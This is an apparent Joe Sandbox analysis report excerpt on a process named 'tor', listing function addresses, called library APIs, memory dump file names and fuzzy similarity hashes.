Opcode Fuzzy Hash: d35cf5ac2b0f55009fcee803d22d7b81a984e1588b372128f152908c42b9f8dd
Instruction Fuzzy Hash: 190146B4E1461A8FCB50DFA8C480AAEBBF8BB09304F41445AE950E7310D774E901CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 01657A40 Relevance: 3.8, APIs: 3, Instructions: 39COMMON

Download Yara Rule

APIs

_vsnprintf.MSVCRT ref: 01657A66
malloc.MSVCRT ref: 01657A77
_vsnprintf.MSVCRT ref: 01657A95

Memory Dump Source

Source File: 00000005.00000002.749386953.00000000013B1000.00000020.00000001.01000000.00000004.sdmp, Offset: 013B0000, based on PE: true

Associated: 00000005.00000002.749380139.00000000013B0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749728458.000000000165D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749734351.000000000165E000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749741816.0000000001660000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749750526.0000000001661000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749762922.0000000001662000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749776259.0000000001665000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749790324.000000000166B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749794938.000000000166C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.000000000171D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.0000000001722000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749916457.0000000001723000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749923344.0000000001728000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_13b0000_tor.jbxd

Similarity

API ID: _vsnprintf$malloc
String ID:
API String ID: 2570725527-0
Opcode ID: b2060164d3f58c71c155a8377d25d293c56f7699c81140350ae6df858ed6cb69
Instruction ID: c9dd9b2749200e4b021086796bece9b572029d1ebc535d0c1486dfdeca455889
Opcode Fuzzy Hash: b2060164d3f58c71c155a8377d25d293c56f7699c81140350ae6df858ed6cb69
Instruction Fuzzy Hash: 51016D706093049FC340AF69C84071BFFE8EF85660F45895DF98887351D734E400CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 013E70C4 Relevance: 3.4, APIs: 2, Instructions: 430COMMON

Download Yara Rule

APIs

__stack_chk_fail.LIBSSP-0 ref: 013E77F9

Part of subcall function 01568C50: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,013E642B), ref: 01568C70

Part of subcall function 013E5BB4: __stack_chk_fail.LIBSSP-0 ref: 013E5CD8

Part of subcall function 01581140: abort.MSVCRT ref: 01581190
Part of subcall function 01581140: SSL_pending.SSLEAY32 ref: 0158119E
Part of subcall function 01581140: __stack_chk_fail.LIBSSP-0 ref: 015811AE

Part of subcall function 0155A866: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,013B1992), ref: 0155A88D

Part of subcall function 01552A11: __stack_chk_fail.LIBSSP-0 ref: 01552A86

Memory Dump Source

Source File: 00000005.00000002.749386953.00000000013B1000.00000020.00000001.01000000.00000004.sdmp, Offset: 013B0000, based on PE: true

Associated: 00000005.00000002.749380139.00000000013B0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749728458.000000000165D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749734351.000000000165E000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749741816.0000000001660000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749750526.0000000001661000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749762922.0000000001662000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749776259.0000000001665000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749790324.000000000166B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749794938.000000000166C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.000000000171D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.0000000001722000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749916457.0000000001723000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749923344.0000000001728000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_13b0000_tor.jbxd

Similarity

API ID: __stack_chk_fail$L_pendingabort
String ID:
API String ID: 1266101828-0
Opcode ID: 154746c00f9550e609b6984f6c493832191f102c108e48afd870f7e409d1da36
Instruction ID: 7ba064c04847889832d1e56341a21873f8392b0ed0ffcc7696ece5d6b2775b52
Opcode Fuzzy Hash: 154746c00f9550e609b6984f6c493832191f102c108e48afd870f7e409d1da36
Instruction Fuzzy Hash: 4912C274A0431ADFDB50DFA9C488AADBBF1BF48314F15846AE894AB391D734D842CF91

Uniqueness

Uniqueness Score: -1.00%

Function 0155BBA0 Relevance: 3.1, APIs: 2, Instructions: 123COMMON

Download Yara Rule

APIs

__stack_chk_fail.LIBSSP-0 ref: 0155BDCF

Part of subcall function 01556846: strrchr.MSVCRT ref: 0155686A
Part of subcall function 01556846: strrchr.MSVCRT ref: 01556880
Part of subcall function 01556846: __stack_chk_fail.LIBSSP-0 ref: 015568E5

Part of subcall function 01559B4E: __stack_chk_fail.LIBSSP-0 ref: 01559D08

abort.MSVCRT ref: 0155BD2C

Memory Dump Source

Source File: 00000005.00000002.749386953.00000000013B1000.00000020.00000001.01000000.00000004.sdmp, Offset: 013B0000, based on PE: true

Associated: 00000005.00000002.749380139.00000000013B0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749728458.000000000165D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749734351.000000000165E000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749741816.0000000001660000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749750526.0000000001661000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749762922.0000000001662000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749776259.0000000001665000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749790324.000000000166B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749794938.000000000166C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.000000000171D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.0000000001722000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749916457.0000000001723000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749923344.0000000001728000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_13b0000_tor.jbxd

Similarity

API ID: __stack_chk_fail$strrchr$abort
String ID:
API String ID: 1190921433-0
Opcode ID: f59a9efa19c672eb6f3774d4bd53bc3d9d05a13a4104aef1a5541db3614af051
Instruction ID: 778449fbdf9830976fb5edf393b2179aa490d1d221a03145491d3661b0c89ade
Opcode Fuzzy Hash: f59a9efa19c672eb6f3774d4bd53bc3d9d05a13a4104aef1a5541db3614af051
Instruction Fuzzy Hash: 9151F7B49042959FDB60DF28C9986DDBBF1BB48314F00899AE898DB340D7B8DAC4DF51

Uniqueness

Uniqueness Score: -1.00%

Function 01551673 Relevance: 3.1, APIs: 2, Instructions: 113stringCOMMON

Download Yara Rule

APIs

Part of subcall function 015549EC: exit.MSVCRT ref: 01554A5A
Part of subcall function 015549EC: __stack_chk_fail.LIBSSP-0 ref: 01554AF1

strftime.MSVCRT ref: 01551758
__stack_chk_fail.LIBSSP-0 ref: 015517BE

Memory Dump Source

Source File: 00000005.00000002.749386953.00000000013B1000.00000020.00000001.01000000.00000004.sdmp, Offset: 013B0000, based on PE: true

Associated: 00000005.00000002.749380139.00000000013B0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749728458.000000000165D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749734351.000000000165E000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749741816.0000000001660000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749750526.0000000001661000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749762922.0000000001662000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749776259.0000000001665000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749790324.000000000166B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749794938.000000000166C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.000000000171D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.0000000001722000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749916457.0000000001723000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749923344.0000000001728000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_13b0000_tor.jbxd

Similarity

API ID: __stack_chk_fail$exitstrftime
String ID:
API String ID: 4214909442-0
Opcode ID: 87af427e6897197265ddf9b049d503c7856c70ff04bc57a3099b0964974fd7fd
Instruction ID: 9d7f774e54af64d42ff91e0b5dab25f5756db62a0ba396d517b462baed13ef8b
Opcode Fuzzy Hash: 87af427e6897197265ddf9b049d503c7856c70ff04bc57a3099b0964974fd7fd
Instruction Fuzzy Hash: 74410775E15209DFCB48DFACD994A9DBBF5FF88200F14892AE849EB344E770A8518F41

Uniqueness

Uniqueness Score: -1.00%

Function 0157B7D7 Relevance: 3.1, APIs: 2, Instructions: 80COMMON

Download Yara Rule

APIs

__stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,?,?,?,?,0157BB55), ref: 0157B91F

Part of subcall function 01556846: strrchr.MSVCRT ref: 0155686A
Part of subcall function 01556846: strrchr.MSVCRT ref: 01556880
Part of subcall function 01556846: __stack_chk_fail.LIBSSP-0 ref: 015568E5

Part of subcall function 01559A54: __stack_chk_fail.LIBSSP-0 ref: 01559B47

abort.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,0157BB55), ref: 0157B830

Part of subcall function 0157B66D: abort.MSVCRT ref: 0157B6C6
Part of subcall function 0157B66D: __stack_chk_fail.LIBSSP-0 ref: 0157B79D

Part of subcall function 0157B7A4: __stack_chk_fail.LIBSSP-0 ref: 0157B7D0

Part of subcall function 01552A11: __stack_chk_fail.LIBSSP-0 ref: 01552A86

Memory Dump Source

Source File: 00000005.00000002.749386953.00000000013B1000.00000020.00000001.01000000.00000004.sdmp, Offset: 013B0000, based on PE: true

Associated: 00000005.00000002.749380139.00000000013B0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749728458.000000000165D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749734351.000000000165E000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749741816.0000000001660000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749750526.0000000001661000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749762922.0000000001662000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749776259.0000000001665000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749790324.000000000166B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749794938.000000000166C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.000000000171D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.0000000001722000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749916457.0000000001723000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749923344.0000000001728000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_13b0000_tor.jbxd

Similarity

API ID: __stack_chk_fail$abortstrrchr
String ID:
API String ID: 2422377151-0
Opcode ID: 08780448149d9a56e20ef01db885358052ec7826cb05b16b7a0a8230cc739fc7
Instruction ID: f4f07ab7ea38c251417ca88b3c45bc34b8eadb2f5bc3368afde54bd2d596340a
Opcode Fuzzy Hash: 08780448149d9a56e20ef01db885358052ec7826cb05b16b7a0a8230cc739fc7
Instruction Fuzzy Hash: 3031B5B090831ADFDB50EFA9D8456AEBBF0BF48354F408919E894AB340D378D445DFA2

Uniqueness

Uniqueness Score: -1.00%

Function 0140C457 Relevance: 3.1, APIs: 2, Instructions: 73COMMON

Download Yara Rule

APIs

__stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,?,?,?,013E847B), ref: 0140C559

Part of subcall function 01556846: strrchr.MSVCRT ref: 0155686A
Part of subcall function 01556846: strrchr.MSVCRT ref: 01556880
Part of subcall function 01556846: __stack_chk_fail.LIBSSP-0 ref: 015568E5

Part of subcall function 01559A54: __stack_chk_fail.LIBSSP-0 ref: 01559B47

abort.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,?,013E847B), ref: 0140C4B3

Memory Dump Source

Source File: 00000005.00000002.749386953.00000000013B1000.00000020.00000001.01000000.00000004.sdmp, Offset: 013B0000, based on PE: true

Associated: 00000005.00000002.749380139.00000000013B0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749728458.000000000165D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749734351.000000000165E000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749741816.0000000001660000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749750526.0000000001661000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749762922.0000000001662000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749776259.0000000001665000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749790324.000000000166B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749794938.000000000166C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.000000000171D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.0000000001722000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749916457.0000000001723000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749923344.0000000001728000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_13b0000_tor.jbxd

Similarity

API ID: __stack_chk_fail$strrchr$abort
String ID:
API String ID: 1190921433-0
Opcode ID: 186d2325687f58841dfca73b8e7a53b3220a2bca8f57ee576efa5d692e87fa6f
Instruction ID: 54b5a2f20b404ffccf5b9cc603facf3d9abb537122bf9f5a39160c9dd1db4a4d
Opcode Fuzzy Hash: 186d2325687f58841dfca73b8e7a53b3220a2bca8f57ee576efa5d692e87fa6f
Instruction Fuzzy Hash: C431D4B490431ADFCB41EFAAC5846AEBBF4BF18204F41886AE894D7351E738D9408F51

Uniqueness

Uniqueness Score: -1.00%

Function 01559567 Relevance: 3.0, APIs: 2, Instructions: 50windowCOMMON

Download Yara Rule

APIs

FormatMessageA.KERNEL32 ref: 015595BE
__stack_chk_fail.LIBSSP-0 ref: 01559617

Part of subcall function 01564771: abort.MSVCRT ref: 015647C1
Part of subcall function 01564771: _strdup.MSVCRT ref: 015647CC
Part of subcall function 01564771: exit.MSVCRT ref: 0156480D
Part of subcall function 01564771: __stack_chk_fail.LIBSSP-0 ref: 01564820

Memory Dump Source

Source File: 00000005.00000002.749386953.00000000013B1000.00000020.00000001.01000000.00000004.sdmp, Offset: 013B0000, based on PE: true

Associated: 00000005.00000002.749380139.00000000013B0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749728458.000000000165D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749734351.000000000165E000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749741816.0000000001660000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749750526.0000000001661000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749762922.0000000001662000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749776259.0000000001665000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749790324.000000000166B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749794938.000000000166C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.000000000171D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.0000000001722000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749916457.0000000001723000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749923344.0000000001728000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_13b0000_tor.jbxd

Similarity

API ID: __stack_chk_fail$FormatMessage_strdupabortexit
String ID:
API String ID: 1336406275-0
Opcode ID: c2fc8f23179cb88b7c07d66bf473a9ad6be779064a1f5e2b415bad474ae0c52b
Instruction ID: 1c69d87ec7333c90bceb208bf7129220df182a39627053ecd541d19738ad6110
Opcode Fuzzy Hash: c2fc8f23179cb88b7c07d66bf473a9ad6be779064a1f5e2b415bad474ae0c52b
Instruction Fuzzy Hash: 8911B6B4904206CFDB50EFA8C49576EBBF4BB44354F504429E994EB340D378D545CFA2

Uniqueness

Uniqueness Score: -1.00%

Function 0155BAF5 Relevance: 3.0, APIs: 2, Instructions: 47COMMON

Download Yara Rule

APIs

Part of subcall function 0155B99C: abort.MSVCRT ref: 0155B9F8
Part of subcall function 0155B99C: abort.MSVCRT ref: 0155BA3C
Part of subcall function 0155B99C: __stack_chk_fail.LIBSSP-0 ref: 0155BAEE

Part of subcall function 0155A5D7: abort.MSVCRT ref: 0155A636
Part of subcall function 0155A5D7: abort.MSVCRT ref: 0155A679
Part of subcall function 0155A5D7: __stack_chk_fail.LIBSSP-0 ref: 0155A731

__stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,?,?,?,?,013B38FD), ref: 0155BB99

Part of subcall function 01556846: strrchr.MSVCRT ref: 0155686A
Part of subcall function 01556846: strrchr.MSVCRT ref: 01556880
Part of subcall function 01556846: __stack_chk_fail.LIBSSP-0 ref: 015568E5

Part of subcall function 01559A54: __stack_chk_fail.LIBSSP-0 ref: 01559B47

abort.MSVCRT ref: 0155BB83

Memory Dump Source

Source File: 00000005.00000002.749386953.00000000013B1000.00000020.00000001.01000000.00000004.sdmp, Offset: 013B0000, based on PE: true

Associated: 00000005.00000002.749380139.00000000013B0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749728458.000000000165D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749734351.000000000165E000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749741816.0000000001660000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749750526.0000000001661000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749762922.0000000001662000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749776259.0000000001665000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749790324.000000000166B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749794938.000000000166C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.000000000171D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.0000000001722000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749916457.0000000001723000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749923344.0000000001728000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_13b0000_tor.jbxd

Similarity

API ID: __stack_chk_failabort$strrchr
String ID:
API String ID: 2024191972-0
Opcode ID: 97713e970905d17fe692c2ef4ceedc93d8b43e4847b4287a11de12c6e90d9f7a
Instruction ID: f06af7fdda6c4098e4a0060021dd1006ec42deb71cb6802cae1bacae87237de4
Opcode Fuzzy Hash: 97713e970905d17fe692c2ef4ceedc93d8b43e4847b4287a11de12c6e90d9f7a
Instruction Fuzzy Hash: 6E1189B490520ADFCB50EFA8C59499EBBF5BF48214F50855AEC94EB300D738E941DF61

Uniqueness

Uniqueness Score: -1.00%

Function 01555CAC Relevance: 3.0, APIs: 2, Instructions: 44COMMON

Download Yara Rule

APIs

_open.MSVCRT ref: 01555D2C
__stack_chk_fail.LIBSSP-0 ref: 01555D42

Part of subcall function 01552A11: __stack_chk_fail.LIBSSP-0 ref: 01552A86

Memory Dump Source

Source File: 00000005.00000002.749386953.00000000013B1000.00000020.00000001.01000000.00000004.sdmp, Offset: 013B0000, based on PE: true

Associated: 00000005.00000002.749380139.00000000013B0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749728458.000000000165D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749734351.000000000165E000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749741816.0000000001660000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749750526.0000000001661000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749762922.0000000001662000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749776259.0000000001665000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749790324.000000000166B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749794938.000000000166C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.000000000171D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.0000000001722000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749916457.0000000001723000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749923344.0000000001728000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_13b0000_tor.jbxd

Similarity

API ID: __stack_chk_fail$_open
String ID:
API String ID: 627647723-0
Opcode ID: 26a0fc2036588e51466840eb93b25614a1247b0afa6b5988a35cb05280a01dbb
Instruction ID: 240c9faa73e672d8b5a01491db274bf8821eca9e19c71d04c2265b4d59a6df70
Opcode Fuzzy Hash: 26a0fc2036588e51466840eb93b25614a1247b0afa6b5988a35cb05280a01dbb
Instruction Fuzzy Hash: C81186B491431ADFCB80DFA8C94469EBBF5BB48350F508919E858E7300E374EA418FA2

Uniqueness

Uniqueness Score: -1.00%

Function 015646D8 Relevance: 3.0, APIs: 2, Instructions: 42COMMON

Download Yara Rule

APIs

Part of subcall function 0156451A: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,0156470C), ref: 01564572

__stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,0155CF06), ref: 0156476A

Part of subcall function 01556846: strrchr.MSVCRT ref: 0155686A
Part of subcall function 01556846: strrchr.MSVCRT ref: 01556880
Part of subcall function 01556846: __stack_chk_fail.LIBSSP-0 ref: 015568E5

Part of subcall function 01559A54: __stack_chk_fail.LIBSSP-0 ref: 01559B47

abort.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,0155CF06), ref: 01564744

Memory Dump Source

Source File: 00000005.00000002.749386953.00000000013B1000.00000020.00000001.01000000.00000004.sdmp, Offset: 013B0000, based on PE: true

Associated: 00000005.00000002.749380139.00000000013B0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749728458.000000000165D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749734351.000000000165E000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749741816.0000000001660000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749750526.0000000001661000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749762922.0000000001662000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749776259.0000000001665000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749790324.000000000166B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749794938.000000000166C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.000000000171D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.0000000001722000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749916457.0000000001723000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749923344.0000000001728000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_13b0000_tor.jbxd

Similarity

API ID: __stack_chk_fail$strrchr$abort
String ID:
API String ID: 1190921433-0
Opcode ID: 84cede83637d20fb63af309fa98fdc668eb24cd36c08e7d35c0ca3570658b408
Instruction ID: cc150a027832ac4f1a4b0ecf5c98c9e6dd30efa3bcee6372adbb0f8b1d5e2dc3
Opcode Fuzzy Hash: 84cede83637d20fb63af309fa98fdc668eb24cd36c08e7d35c0ca3570658b408
Instruction Fuzzy Hash: EB11DBB490430ADFCB40EFB9C98459EBBF4BF58214F018959E894EB300E738D9519FA1

Uniqueness

Uniqueness Score: -1.00%

Function 01564579 Relevance: 3.0, APIs: 2, Instructions: 38COMMON

Download Yara Rule

APIs

Part of subcall function 0156451A: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,0156470C), ref: 01564572

__stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,?,?,?,?,0155CD70), ref: 015645FE

Part of subcall function 01556846: strrchr.MSVCRT ref: 0155686A
Part of subcall function 01556846: strrchr.MSVCRT ref: 01556880
Part of subcall function 01556846: __stack_chk_fail.LIBSSP-0 ref: 015568E5

Part of subcall function 01559A54: __stack_chk_fail.LIBSSP-0 ref: 01559B47

abort.MSVCRT ref: 015645DF

Memory Dump Source

Source File: 00000005.00000002.749386953.00000000013B1000.00000020.00000001.01000000.00000004.sdmp, Offset: 013B0000, based on PE: true

Associated: 00000005.00000002.749380139.00000000013B0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749728458.000000000165D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749734351.000000000165E000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749741816.0000000001660000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749750526.0000000001661000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749762922.0000000001662000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749776259.0000000001665000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749790324.000000000166B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749794938.000000000166C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.000000000171D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749902299.0000000001722000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749916457.0000000001723000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.749923344.0000000001728000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_13b0000_tor.jbxd

Similarity

API ID: __stack_chk_fail$strrchr$abort
String ID:
API String ID: 1190921433-0
Opcode ID: f8744d25d852aefb53a5c03f4bb1d8125526de40a8e978862bb92d8fbca7a1a6
Instruction ID: 48eb7cb5634e0543880fc3bb78f598bbc6b4d7ba03f083676a1de74ff3738432
Opcode Fuzzy Hash: f8744d25d852aefb53a5c03f4bb1d8125526de40a8e978862bb92d8fbca7a1a6
Instruction Fuzzy Hash: 7301C87490430A9FCB40EFB9C9855AEBBF8BF58214F418919D894EB300E738D545DF92

Uniqueness

Uniqueness Score: -1.00%

Function 015594DE Relevance: 3.0, APIs: 2, Instructions: 31networkCOMMON

Download Yara Rule

APIs

WSAStartup.WS2_32 ref: 01559507
__stack_chk_fail.LIBSSP-0 ref: 01559560

